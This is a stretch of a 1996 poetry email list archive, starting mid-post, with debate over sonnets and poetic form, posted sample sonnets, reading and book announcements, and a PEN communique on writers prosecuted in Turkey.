was "inside" the form. I don't see such a magic point where what had been robotic submission is suddenly transformed into charismatic rebellion. To me there is sa continuum between what happens "inside" the form and what happens outside it. Maybe, paradoxically, that is why I am more interested in trying to speak exactly, in terminology that accords with common sense, about the differences it IS possible to spot along the contiuum.

--Annie

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13. Kevin Killian
Bernadette Mayer comes to SF--ANNOUNCEMENT
Sun 2 Jun 1996

This is Dodie Bellamy.

Small Press Traffic is hosting an impromptu reception for Bernadette Mayer Saturday, June 8 at 8 p.m. Any poets (or other interested parties) in the San Francisco Bay Area who'd like to come, backchannel me for details.

Onward!

↑ Index

14. Kevin Killian
"*Stone Marmalade*"
Sun 2 Jun 1996

Thank you, Rod Smith, for placing "Stone Marmalade" so high up (#2!) in your list of good current books. Now I, Kevin Killian, will bring you all backstage into the mysterious world of "Stone Marmalade," the play I wrote with Leslie Scalapino.

Here's what you do first: if you're not nearby Bridge Street Books, or any other bookstore that carries this item, order directly from publisher:

Singing Horse Press
P O Box 40034
Philadelphia, PA 19106 USA
[redacted]

It's only $9.50 (US), plus add $2.00 for shipping & handling.

Okay, now that THAT's out of the way, and you have your copies in hand, we (Leslie and I) you to play a part in this play when she and I give it this big staging at the San Francisco Art Institute in December. We are in desperate need of poets willing to don cow costumes and travel, submerged under swamp water except for your heads, for the two hours the play lasts. Stone Marmalade,

set in Hell, is our version of the old Orpheus and Eurydice story, as seen through the filter of the thought of the Italian philosophy of Giorgio ("Language and Death") Agamben.

A year and a half ago, when this play was a work in progress, we put a little of it on at the Kootenay School in Vancouver. David Ayre was a handsome Orpheus, Charles Watts a quirky, puzzled Agamben, Catriona Strang was very striking as Julia Roberts, and Scott Watson and Susan Clark essayed the malicious, hungry neighbors of Hell. Lisa Robertson strode the stage in full Eurydice grandeur. Excellent work by all! Then this past spring I (Kevin) tried acting another scene from this play, at New College in San Francisco-playing Kathy, the assistant of Eurydice (did I mention that Eurydice is not only queen of hell, but also runs its airport duty-free shop--following Agamben's apercu that the modern day airport duty-free shop is a space outside of juridice?) . . . I was backed by two mighty Greek choruses, one of the Bacchantes (played by Renee Gladman, Carla Harryman, Hoa Nguyen, Alicia Wing) and one of a bunch of puzzled male neighbors (Anselm Berrigan, Edmund Berrigan and Dale Smith). I was like Maria Callas come back to life, only . . . younger I suppose, and I did not have to sing. A month later I brought the same act to New York, at the Segue Foundation space, where Erin Courtney, Elizabeth Fodaski, Deirdre Kovac and Heather Ramsdell played the mad, vicious Bacchantes, and Bruce Andrews, Kevin Davies and Bill Luoma were testosterone personified as the neighbors. I have nothing but praise for all the above "performers."

However in December we need plenty of poets and painters capable of playing the sick, Georgia O'Keeffe-like, soaking wet cattle of hell who fill the inferno with low sick moos. And so report to the casting couch of me (Kevin Killian) or her (Leslie Scalapino) before December 1st, script in hand, available now from Singing Horse Press as above.

Thank you all!

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15. Steve Carll
Re: SONNETS/FORMS
Sun 2 Jun 1996

At 12:15 AM 6/2/96 -0500, you wrote:
>Dear Steve,
>It seems to me that your idea of where forms' boundaries go is rather sputtery.
>On the one hand, you ahve an idea that a poem in a (shall we say predetermined
>rather than traditional, for the sake of variety) predetermined form is poured

>into something "rigid," a word that sets my teeth on edge in this context
>because ANY good poem in a predetermined form naturally changes that form! Form
>is only rigid in a bad poem, in other words.
> But, though you don't accept the possibility for fluidity and dynamic
>engagement within a predetermined form, you do allow for some quasi-mystical
>point where suddenly the form is being "changed" in a daring and valuable way,
>by exactly the kinds of technical changes that were futile mechanical exercises
>while one was "inside" the form.
> I don't see such a magic point where what had been robotic submission
>is suddenly transformed into charismatic rebellion. To me there is sa continuum
>between what happens "inside" the form and what happens outside it.
>Maybe, paradoxically, that is why I am more interested in trying to speak
>exactly, in terminology that accords with common sense, about the differences
>it IS possible to spot along the contiuum.
>
>--Annie

Well, again, Annie, what seems "sputtery" to you is simply paradoxical to me, and what you describe as paradoxical in your own interest is probably what seems contradictory to me in your position.

I don't agree at all with your summarization of my perspective. It's not true (and to my memory, I've never said) that I don't accept the possibility for fluidity and dynamic engagement within a traditional form. The word you're using as quasi-synonymous, though, "predetermined", that worries me. If the thing is TOO predetermined, the form is really doing the job that the poet should be doing, don't you think so? I haven't argued in terms of any "point", mystical or not, separating "submission" from "rebellion" (which latter term I haven't used; this isn't about rebellion at all but mindfulness, at least from the point of view of the writer.) What I meant was that, as a reader, if I get the sense that the poet has just been facilely plugging in words to fill out a rhyme scheme or a meter, it turns me off. Of course a good poem in a form won't give me this impression; of course a poem in a form invented by the poet shifts me into different questions: how much of this form is content? Is this form itself interesting?

And while I'm on the subject, the "violence" I was referring to by overterminologization (what's the rhetorical term for a word that's an example of what it describes?) is the violence done to the poem when we try to tear it apart

analytically and stop listening to what it's saying. Now, I realize that the form it's in is part of what it's saying, but it's only part.

I caught myself wondering yesterday why I'm even involved in this question, since I generally don't give it much bother either, and I realized it was because Alan Sondheim posted a beautiful poem last week, and I felt that your response to it was dismissive; that you were ignoring its content on the basis of what you felt was its specious claim to sonnethood. I saw that as an act of violence against that poem, and no, I don't feel that's a good thing. Later on I saw that you had indeed appreciated it on another level, but of course by that time more ire had been raised. (BTW, Alan, if you're still reading, the one you posted yesterday was--how can I say it?--exceptional.)

All poems take some form; form is nothing other than the structure by which the poem appears in the world. The two extremes of the evolution-of-form question as I see it are these:

On the one hand you could argue to the extremest minutiae of form--every word, punctuation mark and space are part of the form of that poem (an extremely rigid definition of form)--and thus that to change one word, one comma, is to introduce a new form necessitating a new name. True in a certain way, but kind of a time-waster I'm sure everyone would agree.

On the other hand you could argue that there's really only one form a poem can take: poetic form (aka "the form of a poem.") Also true in a certain way, but then we can't talk about interesting patterns that pop up in certain poems and not others.

Somewhere in between these two hands is the question of "traditional" forms and "experimental" forms, and it's a gigantic power struggle, and I think it would be best now to take a really broad view of this situation and not trample on any poems that may have fallen underfoot.

Steve

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16. Daniel Salmon
Re: SONNETS/FORMS
Mon 3 Jun 1996

At 05:40 PM 2/06/96 -0700, you wrote:

>>--Annie
>
>Somewhere in between these two hands is the question of "traditional" forms
>and "experimental" forms, and it's a gigantic power struggle, and I think it

>would be best now to take a really broad view of this situation and not
>trample on any poems that may have fallen underfoot.
>
>Steve
>

Steve,

As many readers can only glimpse the carpet between books - trampling on poetry is sometimes unavoidable.

Dan

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17. Henry Gould
query: Russian residencies
Mon 3 Jun 1996

I would be grateful for any leads regarding possibilities for teaching or writers residencies in St. Petersburg Russia this fall. Please backchannel only to [redacted]. Spasiba, HG

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18. Annie Finch
broad view
Mon 3 Jun 1996

Dear Steve,

Actually, the more this discussion progresses the more it seems there is just a hair's breadth between the two attitudes in question (wasn't that what someone recently mentioned on this list separated the nominalists and the idealists?) So I too look forward to a broad view. The Exaltation of Forms anthology is gathering poets from this list at a good clip to edit sections on experimental forms, (still room for more, too), and maybe whenit comes out it will help provide such a view. As Lynn Emmanuel pointed out in an essay on "Language Poetrey and New formalism"'," which was I believe critical of both equally, both are very interestd in form and technique as opposed to the extreme prioritization of content that dominates the belated romanticism of mainstreamd poetry. I think that many "post-new-formalists," or whatever one could call the younger generation, would readily admit that their interest in form arises from a desire to make their poems "anti-absorptive," to use Charles Bern stein's term for it. ntms of a tenhl, it. I am still trying to place you exactly from New College days. can you refresh my memory? --Annie

↑ Index

19. Christopher J. Beach

Re: broad view

Mon 3 Jun 1996

I am growing a bit weary of this discussion of poetic form, since it remains on what for me is a frustrating level of generality. Questions such as whether "open form" poems are just as predictable as formal ones, or whether analyzing a poem's form does "violence" to it are simply too vague to engage with, which is why I think many people on the list are turned off by this whole issue. It would be much more interesting, I think, to look at specific poems, whether traditional sonnets, "experimental" sonnets, or non-sonnets, in an attempt to understand how they manipulate form and how they either conform to or defy expectation. It is easy to make generalized claims about the possibilities of the sonnet or of any other form, but it is more difficult, and I think more useful, to discuss them in the hands of a particular writer. I also don't believe these comparisons between "new formalism" and "language poetry" hold much water. They are two entirely different phenomena and have very different critical and institutional histories. To be "critical of both equally" only implies a lack of attention to what either is doing. It may be that some post-new-formalists believe they are trying to use the form to create an "anti-absorptive" poem, but how does this work in practice? Once again, I would like to see the actual poems.

I don;t mean to be dismissive of the issue of form, which I believe is crucial--I just think we need to start nuancing our comments a bit more if it is going to lead to anything but a kind of intellectual mud-slinging or vague philosophizing.

Christopher Beach

On Mon, 3 Jun 1996, Annie Finch wrote:

> *Dear Steve,*
>
> *Actually, the more this discussion progresses the more it seems there is just a hair's breadth between the two attitudes in question (wasn't that what someone recently mentioned on this list separated the nominalists and the idealists?) So I too look forward to a broad view. The Exaltation of Forms anthology is gathering poets from this list at a good clip to edit sections on experimental forms, (still room for more, too), and maybe whenit comes out it will help provide such a view. As Lynn Emmanuel pointed out in an essay on "Language Poetrey and New formalism"'," which was I believe critical of both equally, both are very interestd in form and technique as opposed to the extreme prioritization of content that dominates the belated romanticism of mainstreamd poetry. I think that many "post-new-formalists," or whatever one could call the younger generation, would readily admit that their interest in form arises from a desire to make their poems "anti-absorptive," to use Charles Bern stein's term for it.*
> *ntms of a tenhl, it.*

> *I am still trying to place you exactly from New College days. can you refresh my memory?*
> *--Annie*

↑ Index

20. David Baratier

nonsuch sonnet includes allentois wrench torque

Mon 3 Jun 1996

Form is only rigid in a bad poem. There is a mystical point where rigid and rigere split, then the piece (whether sonnet or otherwise) ceases to be an exercise composed of "robotic submission" to the form. These are the ways in which ommon sense is not all that common. Terminology bores me, a named object does not become owned through the naming process in the same way that god is not further revealed to a person who cannot call jwy as such without syllables. There is no continuum except in terms of the overarching or the archetypal, values of written sets of words fluctuate continually. Annie, perhaps this is the difference you believe possible to spot, as if capitalizing IS will give that set of characters more weight in the discussion, or yelling "eidolons" with a megaphone on top of the largest building in a city means that more people are educated about poetry then when grounded handing out flyer's in front of a subway entrance.

David Baratier

↑ Index

21. henry gould

so not again sonnet

Mon 3 Jun 1996

WHERE THE SONNET WENT

Ten thousand feet above the ear plateau
and smaller than a sixth of an infinitesimal
the whiskers of a cat were barely visible.
Nevertheless, the physicists (who know
about these things) were able to show
this feline had a phantom quantum double.

Such heavenly things are figures here below.
The theologians thought the cat was treble.

"Roughen your act," grumbled the singing clown
in a cat's voice - "smooth numbers cause trouble.

There were three ravens sitting in a tree,
With a hey, nonny nonny down down down.
They were as black as black could be..."
And he banged on his eardrum in the dry rubble.

- Henry Gould

↑ Index

22. Jordan Davis
sonnet preservation society
Mon 3 Jun 1996

I believe the following, by Gary Lenhart, is a sonnet.

THE GREAT AWAKENING II

Knowing what we couldn't know before,
Although we were told by almost all,
Today we stand among the many
Happy to be pigeon-holed, less than
Evangelical about the changed
"Reasons for Being" we bandy
In our abode, but tickled pink to be
Near our daughter's sweet nature, even when
Exhausted in the pre-dawn. If we
Kowtow to earn a smile now and again,
Again and again, must that sour
This dotage with adverse repercussions?
Idiot grins sum us up fine. Though our
Eyes are open, we are out of our minds.

(from _Light Heart_, Hanging Loose Press, 1991)

I also believe that this poem, by Edwin Denby, is a sonnet:

THE SHOULDER

The shoulder of a man is shaped like a baby pig.
It terrifies and it bores the observer, the shoulder.
The Greeks, who had slaves, were able to hitch back and rig
The shoulder, so the eye is flattered and feels bolder.

But that's not the case in New York, where a roomer
Stands around day and night stupefied with his clothes on
The shoulder, hung from his neck (half orchid, half tumor)
Hangs publicly with a metabolism of its own.

After it has been observed a million times or more
A man hunches it against a pole, a jamb, a bench,
Parasite he takes no responsibility for.
He becomes used to it, like to the exhaust stench.

It takes the corrupt, ectoplasmic shape of a prayer
Or money, that connects with a government somewhere.

(from _Complete Poems_, Random House, 1986)

Denby's poem puts the 'tourne' a little sooner than one expects, and Lenhart smudges it, the 'tourne', but these both have that standard fourteen line length, the last two lines reserved for closing remarks. How not to sound unreasonably like one writing a poem. Lenhart, I think, builds up a stilted but pleasant lyricism, which he then pushes over. Denby (who seems a lot like William Burroughs in this poem) allocates a classical grace for some potential shoulder, which grace he slouches away in the second stanza. The poem riffs on some 'enstranged' views of the shoulder, closing with a pretty spectacular connection between the meatiness of the body and one's generally dismal location in the so-called scheme of things. Maybe it does. I dunno. Somebody (Christopher Beach?) said this kind of thing would make the discussion livelier. The opposition to the discussion is probably not unlike in kind the opposition to the form--irritation at an archaism, already readily dismissed by our (we hope) ancestor, W.C.W. At any rate, these are two recent readable postmodern sonnets.

↑ Index

23. Annie Finch
Re: broad view
Mon 3 Jun 1996

Dear Christopher J. Beach,
Hear, hear!
A Finch

↑ Index

24. Jonathan Brannen
Re: chax books
Mon 3 Jun 1996

I haven't read either of these, but I'll support any endorsement of either Mac Cormack's or Steve McCaffery's poetry.

Jonathan Brannen

> *On the subject of Karen Mac Cormack's books, the one book of hers not so far mentioned, and unfortunately not to my knowledge*

> *available other than secondhand, is her first: Nothing By Mouth,*
> *published, I think, in 1984, and not by Chax.*
>
> *And not to not plug Steve McCaffery's latest book of poetry,*
> *it's just out from ECW Press in Toronto: The Cheat of*
> *Words. Includes poems some may have seen over the years in excerpted*
> *form in West Coast Line, hole, and other mags, and unpublished*
> *early pieces.*
>
> *Louis*

↑ Index

25. Tom Beard
Re: SONNETS/FORMS
Mon 3 Jun 1996

---

overterminologization (what's the rhetorical term for a word that's an example of what it describes?)

Autonym (I think), like "noun", "pentasyllabic", "shibboleth", "misspellt", "obfuscatory", "autonym" and "word".

Tom Beard.

↑ Index

26. Tony Green
Re: Nonset form
Mon 3 Jun 1996

Dear Annie,
Your postings are interesting and persuasive. I am searching for, way back,
why I abandoned metre-and-rhyme defined forms. Long pause.

However,
having developed practices other than those of writing in
metre-and-rhyme, I don't think I now want to return to what I perhaps
foolishly perhaps not foolishly abandoned. As you and others note
this is a hot topic.

Best

Tony Green,
e-mail: [redacted]

↑ Index

27. Annie Finch
Re: nonsuch sonnet includes allentois wrench torque
Mon 3 Jun 1996

"god is not further revealed to a person who cannot call joy without syllables." True. and yet naming is one way things can be approached, the repetitions of the tea ceremony do yield moments, some people like to sit in a certain way when they meditate. Isn't this just a matter of temperament or even phase of life?

To say that "there is no continuum except in terms of the overarching and archetypal; values of written sets of words fluctuate continually" is itself a non-fluctuating value claim, perhaps more dangerous because it is may be tempted to forget its own solidity?

--A. R. Crane Finch
"eidolon?"

↑ Index

28. Louis Cabri
ode to a colostomy bag
Mon 3 Jun 1996

I'm going to write a series of sonnets about the various women whom I have been in brief memorable love with, throughout the 1980s, when I've been drunk. Ok? Actually, I've been, structurally speaking, drunk for a long time - ever since our New World slaves first cut down cane, and rum was available to London sonneteers. I admit that to write these boxes these days is somewhat like willful suspension over an ideological overhang, with a hangover. I have to chip away even at the _adjectival_ use of "universal." And I'm on the wagon now, so I've got to be indirect about history - the rum (ie spirit) business, etc. In fact, why not just use a muted symbol, which might get passed off as completely without a referent - e.g. "ebony log"? It's as if the "making up" of poesis has become the make-up required for a pose, true. Please bear with me as I try, as best I can, to manage the contradictions that come with the recursive properties of literary effects.

Make-Up

Sling me the run-again please
to not answer in poem poems.
If I could word it through the prism
so the text of ourselves is the text
of an eye beyond, if I could hold
the ebony log straight as it's

squashed into two dimensions,
if I could ease the half-shell
into seas on the lee of engagement,
I would put off the accretion
of legend and love, for these
are sounds forced into a box
to elude the prevailing code
of thinned-out universe terms.

Gavin Selerie, from _Elizabethan Overhang_ (Cambridge, UK: Spectacular Diseases, 1989)

↑ Index

29. - Kim Tedrow

Re: ode to a colostomy bag

Mon 3 Jun 1996

For a brief moment, I was confused as to whether this post was from the Poetics List or from the Irritable Bowel Disease Support List.

Anything is possible on the internet.

-Kim

↑ Index

30. Carnography

The rin-tin-tintinnabulations that so musically swell--

Tue 4 Jun 1996

As per my vast and prestigious experience playing French Latin lounge versions of Sixties protest songs: a popular request.

A nameless (and you *shall* remain nameless, ___) listserv subscriber requested that I post a few private comments.
Here they are:

§§§

> *What exactly does ____ find less sing-songy, less mannered, than Poe--*
> *the jingles of Maggie Estep!?*

Side-note:

When I dropped by Chez Rollo to deliver my piece (posted here) that made fun of Hal Sirowitz (my pal), Edwin Torres (total stranger), David Huberman (improved my quality of life dramatically) and Bob Holman (yoo-hoo, sailor), among others, who do you think was there but Mr. Torres himself? What an odd coincidence, I thought. Will he enjoy my parody, or take humorless offense, as Allan Ginsberg (unbelievably) has been doing? I never found out; the guy took off before I could decipher his airy expression and airier body language. It just goes to show you:

"You set out to shock others, but in the end, you only succeed in shocking yourself."--Lynne Tillman

(though the point of "parodying" another writer is really to try to figure out what in the hell said writer is doing).

§§§

was forced to create a cryptic mechanism, a code, to delineate his passions and desires. In formulating said code, he created a technique that was invaluable to everyone from the surrealists to Robbes-Grillet.

My question: Though some poets reinvent techniques in order to destroy artifice and return to the language of ordinary speech (Wordsworth, Whitman, Kerouac), don't other poets (Ashbery, Mallarme, Unica Zurn, *de Quincey*) invent new techniques in order to *protect* artifice, destroy so-called ordinary speech, and avoid the obvious?

Or are both points of view mere excuses for revelling
in the texture of language itself?

Your reveller at reveille,

Rob Hardin

http://www.interport.net/~scrypt

↑ Index

31. Carnography
Rin-tin-tintinnabulations: erratum
Tue 4 Jun 1996

> *Will he enjoy my parody,*
> *or take humorless offense, as Allan Ginsberg (unbelievably) has been doing?*

Yes, yes, I know--that's *Allen* Ginsberg (1926-?).

> *Bob Perelman*

Not to mention *S.J. Perelman*.

> *to me, in the "Cadmus of the golden prow" section of Pound's Cantos*

Canto IV, to be exact: "Hear me. Cadmus of Golden Prows!"
(First lines: "Palace in smoky light,/Troy but a heap of smoulderinmg
boundary stones...")

> *Robbes-Grillet*

I could easily verify this man's name, but really, why bother?

> *Unica Zurn*

I can't find her xeroxed poetry, so I leave you with this, from Bataille's poetic journal, _The Little One_:

Pure eroticism:
the crater,

the impossible, rising to the throat with the smell of blood....

To write is to go in search of chance....

By giving chance so wretched an anguish, I felt I was bringing it the thing it lacked.

(Bataille)

See ya

(Hardin, quoting anon and ibid)

http://www.interport.net/~scrypt

↑ Index

32. William Northcutt

a sonnet

Tue 4 Jun 1996

Sonnet to one of the following:

--headcounting the senate
--viewing the genitalia of a mutant
--noticing the similarities between headcounting the senate and doing the same to the genitalia of a mutant

right
right
right
right
right
right
right
right
right
right
right
right

left
left

Chicken House Willie

↑ Index

33. Pierre Joris
from IFEX COOMUNIQUE
Tue 4 Jun 1996

This just in from IFEX COMMUNIQUE # 5-22 & shld be of interest to some on the list -- Pierre

NTERNATIONAL PEN CENTRES HOLD DAY OF ACTION ON TURKEY

WRITER YASAR KEMAL AWARDED HELLMAN\HAMMETT GRANT

Writers around the world held a day of solidarity with their imprisoned and censored colleagues in Turkey on 30 May, reports the Writers in Prison Committee (WiPC) of International PEN. It was "the day before an important challenge to the laws which severely limit Turkish writers' right to freedom of expression." Members of International PEN centres around the world lobbied Turkish authorities, their own governments and Turkish representatives in their countries, "calling for the Turkish laws to be brought into line with international norms protecting freedom of expression."

Last week, Human Rights Watch (HRW) awarded a Hellman/Hammett grant to world-renowned Turkish writer Yasar Kemal, who was tried and convicted in March 1996 on charges of "inciting racial hatred by way of regional and racial discrimination." Kemal, who was given a 20-month suspended sentence, "was warned that if he repeated his crime in the next five years, the sentence would become active." In recognising Kemal, HRW "noted the courage he has shown in defending freedom of expression for himself and the others currently on trial. It is ironic that Turkey, which prides itself on Kemal's place on the short list of candidates for the Nobel Prize, is at the same time harassing him and his colleagues for expressing thoughtful concern." [See IFEX "Communique" #5-11, #4-48, #4-30, #4-19 for background.]

For its day of action, the WiPC notes, many writers and intellectuals in Turkey are being tried in connection with the publication of the book "Freedom of Expression in Turkey", which includes the article by Kemal for which he was charged. "Ninety-nine intellectuals who signed up as responsible editors of the book to challenge the government over freedom of expression restrictions were investigated and charged," says the WiPC, adding, "One, the well-known author Aziz Nesin, has since died and a second trial has been launched against 86 others who were identified after investigations." The 98 intellectuals went to court on 31 May, reports the WiPC. At a recent International PEN meeting in Denmark, writers from 19 countries signed up as responsible editors of "Freedom of Expression in Turkey" as a gesture of solidarity. The writers are from Denmark, Sweden, the United States of America, England, Switzerland, Australia,

Canada, Austria, Japan, Mexico, Russia, Kenya, Germany, Norway, Nepal, the Czech Republic, Malawi, Finland and Croatia.

The WiPC reports that, in 1995, "human rights groups concentrated on pressuring the government to amend Article 8 of the Anti-Terror Law," and, in October, this law was slightly amended and several writers released as a result. However, some of these writers have now been sentenced again, says the WiPC, citing Dr. Haluk Gerger, another 1996 Hellman/Hammett grant recipient who was imprisoned from June 1994 until late 1995 under Article 8. He was sentenced for "inciting racism" on 15 May to 20 months in prison for an article on the state of emergency in southeast Turkey. "Turkish human rights groups have identified around 500 laws which can be used to restrict freedom of expression in Turkey," says the WiPC.

The PEN American Center released a "Message of Solidarity to 98 Turkish Writers and Intellectuals Standing Trial in Turkey on 31 May, 1996 from 98 Writers around the Globe", in both English and Turkish.

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]|
==========

↑ Index

34. Kevin Killian

Re: Bernadette Mayer

Tue 4 Jun 1996

At 1:37 PM 6/4/96, Ken Edwards wrote:
>Excellent news about Bernadette Mayer's visit to SF -- does this mean
>she's made
>good progress in her recovery from her stroke?

Bernadette hasn't arrived in town yet, but the last I heard she was hiking at Big Bear--a place I'd never heard of before, but everyone else around here goes, "Oh, yes, Big Bear."

Dodie Bellamy

↑ Index

35. Joe Amato

cultural colostomy, pardon moi, s'il vous plait...

Tue 4 Jun 1996

(rant, by default)

I. PRERAMBLE

the pure product placements of the americas
go crazy

to wit
poets, moi included
both ends moved to synchronous motion
by the mediocrity of mediocrity
& hopelessly awash w/portables
of one sort & another
sit on their virtual potties
peeing words into the endless stream of consumable
goods (later to be recycled & sold back (to them
(as consumable waste
wondering what is left to say of any moment
of any singularity
of any unrecognizable import
or export value
when all would seem so marketable
so tributary
so rumored...

let's take a long step back
off the screen
& the page
to examine this fucking conditional nightmare:

men & women alike
but clearly not entirely alike or this item you're reading (perusing
would not be identifiable as such

men & women alike
well middleclass men & women alike

probably white in fact
& perhaps mostly heterosexual

so white heterosexual middleclass men & women alike
but again, clearly not entirely alike or etc.

this somehow differentiable group of people i have in mind
but i'm a white heterosexual middleclass man
middleaged, to boot

ok, let's not take a long step back
let's dig right in & try to understand
what, if anything

i can say/write (please permit me this coupling for a few moments
(as well as this apostrophic address, dear reader
about anybody else
around here:

or perhaps i should simply speak/write to my own needs?
& how to articulate the needs
of a white heterosexual middleclass middleaged man?

& do i have needs, strictly speaking
or mere desires?
in what context?

& what is the basis of my
self-identification?
or is this self-indulgence?
self-avowal?
self-aggrandizement?

fear?

& who gives a shit, finally?

or should i address myself instead to the plight of others however defined?

& if not, if this be presumptuous
should i just shut-up?

should i just shut-the-fuck-up?
take my hands off the keyboard?
put the pen down?

listen?

for how long?

and then what?

& who gives a shit, finally?
who gives a good shit?

& is all of this
all that i've said/writ here
ancient history?

no writ of habeus corpus
is necessary
to incriminate me:

mea culpa.

II. THAT SAID

& due allowance made
for critical complicities corresponding
to sheer subject positionality
let it also be understood
to all parties to these presents
acting however in good faith
that compromise a discourse is
& will obligate specific responses
which may not but succeed on occasion
in coming up empty- or red-handed
within the field of hopeful possibilities
constituting poetic license

the affairs of such a state or states
requiring internal & external investigation

yet demanding also for their proper execution
& elucidation
a pang of consciousness
a yen for spicy food &
depending on the poet
a gentle & specifiable smack either
on the lips or
upside the head
all remonstrance notwithstanding.

III. TO BE CONTINUED

the time has come
& gone to theorize capital
& nobody has a mind too
& nobody has the money too
& everything is available everyplace
you look except where
you refuse too.

IV. CLIFFHANGERS-ON

history enters here
locale along with
& an overabundance of non-descript details
& for good & bad measure
a few arbiters of taste
just to keep things overdetermined
& interested:

use your imagination, i dare you...

& what insidious form is this i spy
permuting my information
seeping in & out of
to corrupt the relative spontaneity
of this heavily revised, carefully packaged
item?

a closer look reveals the presence
of minute particles of motive
ah yes i can see rather clearly now
under the microelectroscatoscope
it's the screen resolution
& perhaps the hardcopy quality too, ultimately

either way what you've got here
& there
is a terminal relationship
between writers & readers &
authors & critics &
speakers & listeners &
voters &
non-voters &
it's spreading
"like a cancer"
as we used to say
& will soon overcome
most of the cultural immuno-prophylacto-electro-
resistance, or whatever
apologies for the somatic metaphor
installed & checked
during the last major u.s. trauma
(oil embargo/presidential resignation, c. 1974)

& what you may end up with is
pardon the expression

a fucking pile of horseshit
(the likes of which you've never seen.

V. DEGENERATING FURTHER

& in the midst of a global deregulation make-over
we end this item
with a foray into didactics
directed esp. at those of you interested
in practicing
what you preach:

fix it, please.

↑ Index

36. Jordan Davis
why don't we tell them
Tue 4 Jun 1996

Poetry Parties--New York--

Birthday party for R Creeley at St Mark's Poetry Project--Wednesday night--he's 70--

End of the year party at Poetry City--Brenda Williams and Rosa Alcala Diaz will be reading--afterwards party--during party--beforehand party--6:30 at 5 Union Sq W, 7th Fl--celebrate

--Jd

↑ Index

37. Ken Edwards
Bernadette Mayer
Tue 4 Jun 1996

Excellent news about Bernadette Mayer's visit to SF -- does this mean she's made good progress in her recovery from her stroke?

And regarding "Stone Marmalade" -- Kevin, are those sickly cattle in hell suffering from BSE? If so, you could recruit some of us Brits to play the parts. Wish I could be there. Moo to all.

↑ Index

38. Mark Wallace
Situation #12
Tue 4 Jun 1996

Situation #12 is now available, featuring the work of Henry Taylor, Hung Q. Tu, Ross Taylor, Maryrose Larkin, M. Magoolaghan, Corinne Robins, Blair Ewing, and Charles Borkhuis.

Subscriptions are $10 for four issues, or $3 for back or single issues. Make checks payable to Mark Wallace.

Situation
10402 Ewell Ave.
Kensington, MD 20895

↑ Index

39. Aldon L. Nielsen
Re: client servile
Tue 4 Jun 1996

You are not authorized to send messages to E-Poetics List from this address. We advise that you attempt to be somebody else and post messages from an address that we are willing to recognize. We are, however, willing to foreward the end-rhymes from your message. We are also deleting the materials you have attempted to froward from Dr. Sokal regarding his recent discovery of the Piltdown Man.

you
though
grown.
true,
blue
woe
known.
to
the
boys
we;
toys.
bait,
wait.

↑ Index

40. Mark Wallace
mainstream art critic nonsense
Tue 4 Jun 1996

Well, here's a bit of the latest garbage from the Washington Post. In this case it's reviewer Tim Page, writing on John Cage's "Europera Five."

I'll just give you the choice bits. The rest is just as stupid, only less funny:

"If Cage ever wrote another important piece after 1952, the year of "4'33," I have not heard it. His musical universe grew obsessively inclusive and he spoke often and eloquently, in his gentle manner, about the danger of making any qualitative evaluations whatsoever."

"What did it all mean? Nothing at all, of course. Was that the point? No. There was no point: never underestimate the simple-mindedness of Cage's later aesthetic."

"For this spectator, the only remotely stimulating question of the evening was whether the authors of "Rescue Me" and the old Troggs hit "Love Is All Around"--both played in their entirety during the show---might have the right to sue the Cage estage for their completele incorporation into a work that was supposedly "by" John Cage."

Now, here's where it gets TRULY amazing:

"A ...spirited review of Cage's "Europera 5"... might read something like this. Fourscore and. Wednesday night Spoleto. This. When in the course of. Presented. Stately, plump. Europera. Whrrr. Across the sky. John Cage. Corn syrup, lecithin. Call 1-800. Bzzzzzzzz. One hour. Tweet."

YES, THAT'S RIGHT, there is an absolutely amazing passage of poetry in the one section of this reviewer's foolishness that is actually an attempt to mock John Cage. Who knew he could be so brilliant? Especially when the most interesting question for him is the possibility of suing people he can't understand...

mark wallace

↑ Index

41. Jordan Davis
Re: New Books fer Poetics
Tue 4 Jun 1996

---

send these please?

> *4. _Symmetry_, Laura Moriarty, Avec, $9.95.*
> *"The one clear night which encompasses the subject forgets everything."*

> *6. _Natural Facts_, Melanie Neilson, Potes & Poets, $11.00. Cover is a daguerreotype, 1840s, "Still Life with Pumpkin, Shakespeare, and Sweet Potato." Lauterbach mentions Ives in her blurb, seems right to me. "Will Congress / Canary the canon?"*
>
> *7. _Clean and Well Lit: Sel Poems 1987-1995_, Tom Raworth, Roof, $10.95. Tom's tops.*
>
> *Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books.*
>
> *Bridge Street Books, 2814 Pennsylvania Ave NW, Wahsington, DC 20007.*

yes? to Jordan Davis
c/o Teachers & Writers (where you're welcome to teach btw)
5 Union Sq W 7th Fl
NYC 10003-3306

Grazie--
Jd

↑ Index

42. David Baratier

A science project: if anyone is interested

Tue 4 Jun 1996

>
>Why not help the kids out?
>----------
>Forwarded message:
>Subj: Re: Stevie and Amanda's grade school science project >Date: 96-05-28 22:53:31 EDT
>From: MNRedwood
>To: [redacted]
>
>
>>---begin fwd---
>>Hi, our names are Stevie and Amanda. We are in the 5th grade at the
>>Phillipston Memorial school, Phillipston, Massachusetts, USA. We are
>>doing a science project on the Internet. We want to see how many
>>responses we can get back in two weeks. (We are only sending out 2

letters). >>
>>Please respond and then send this letter to anyone you communicate with >>on the Internet. Respond to [redacted].
>>
>> 1. Where do you live (state and country)? >> 2. From whom did you get this letter?
>>
>> Thank you,
>> Stevie and Amanda >>
>

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43. Chris Stroffolino
Re: mainstream art critic nonsense
Tue 4 Jun 1996

Who wrote "Rescue Me"---Fontella Bass, the singer, was married to Lester Bowie it is written.

↑ Index

44. David Baratier
mainstream art critic
Tue 4 Jun 1996

Mark,

It fits in with something that Nam June Paik (the video artist) said last summer (paraphrase) "Television is exciting therefore we have to make art that is very boring. "

David Baratier

↑ Index

45. George Bowering
Re: sonnet
Tue 4 Jun 1996

Actually, I think the sonnet was created in the 13trh century when it was common to take two weeks to write a poem, one line a day. At the start, sonnets had two stanzas of 7 lines each, but then Alfredo Rizzoli, the poet-monk found that he could not stop after line seven one day, so wrote eight lines in the first week, and then took a day off before starting the next stanza. Soon his acolytes copied him, and so there we are.

.....
"In town we have arguments."
--Stan Persky
George Bowering.
